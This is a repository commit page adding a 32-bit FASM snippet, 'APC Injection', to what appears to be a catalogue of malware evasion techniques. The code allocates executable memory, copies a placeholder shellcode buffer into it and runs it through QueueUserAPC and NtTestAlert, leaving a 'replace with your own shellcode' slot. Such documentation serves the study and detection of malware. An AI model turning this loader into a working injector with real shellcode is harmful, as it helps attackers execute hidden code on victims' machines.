Skip to content

Commit b181dff

Browse files
committed
FASM32 Snippet: APC Injection
1 parent 367e334 commit b181dff

File tree

2 files changed

+77
-0
lines changed

2 files changed

+77
-0
lines changed

README.md

+3
Original file line numberDiff line numberDiff line change
@@ -73,3 +73,6 @@
7373
* Python
7474
* [CodeCaveHelper](Unprotect/Python/CodeCaveHelper.py)
7575
* [FindWindow](Unprotect/Python/FindWindow.py)
76+
77+
* FASM32
78+
* [APC Injection](Unprotect/FASM/x32/apc_injection.asm)

Unprotect/FASM/x32/apc_injection.asm

+74
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
format PE GUI 4.0
2+
entry main
3+
4+
include 'win32w.inc'
5+
6+
section '.code' readable executable
7+
8+
; **************************************************
9+
; * Code
10+
main:
11+
; VirtualAlloc()
12+
xor eax, eax ; NULL
13+
push PAGE_EXECUTE_READWRITE ; VirtualAlloc.flProtect
14+
push MEM_COMMIT or MEM_RESERVE ; VirtualAlloc.flAllocationType
15+
push [shellcode_length] ; VirtualAlloc.dwSize
16+
push eax ; VirtualAlloc.lpAddress
17+
call [VirtualAlloc]
18+
test eax, eax
19+
jz exit
20+
21+
; Copy Shellcode to Allocated Memory Region
22+
mov edi, eax ; Destination
23+
mov esi, shellcode ; Source
24+
mov ecx, [shellcode_length] ; Count
25+
rep movsb ; Copy
26+
mov esi, eax ; eax eq destination
27+
28+
; GetCurrentThread()
29+
call [GetCurrentThread]
30+
mov ebx, eax
31+
32+
; QueueUserAPC()
33+
xor eax, eax
34+
push eax ; QueueUserAPC.dwData
35+
push ebx ; QueueUserAPC.hThread (Current Thread)
36+
push esi ; QueueUserAPC.pfnAPC (Copied Shellcode)
37+
call [QueueUserAPC]
38+
test eax, eax
39+
jz exit
40+
41+
; NtTestAlert()
42+
call [NtTestAlert]
43+
exit:
44+
; ExitProcess()
45+
xor eax, eax
46+
inc eax ; ExitCode = 1
47+
push eax ; ExitProcess.uExitCode
48+
call [ExitProcess]
49+
50+
51+
; **************************************************
52+
; * Data
53+
section '.data' data readable
54+
55+
; Replace with your own shellcode
56+
shellcode db 0xcc, 0x90, 0x90, 0x90, 0x90
57+
58+
shellcode_length dd $ - shellcode
59+
60+
; **************************************************
61+
; * Imports
62+
section '.idata' import data readable
63+
64+
library kernel32, 'KERNEL32.dll',\
65+
ntdll, 'NTDLL.DLL'
66+
67+
import kernel32,\
68+
ExitProcess, 'ExitProcess',\
69+
GetCurrentThread, 'GetCurrentThread',\
70+
QueueUserAPC, 'QueueUserAPC',\
71+
VirtualAlloc, 'VirtualAlloc'
72+
73+
import ntdll,\
74+
NtTestAlert, 'NtTestAlert'

0 commit comments

Comments
 (0)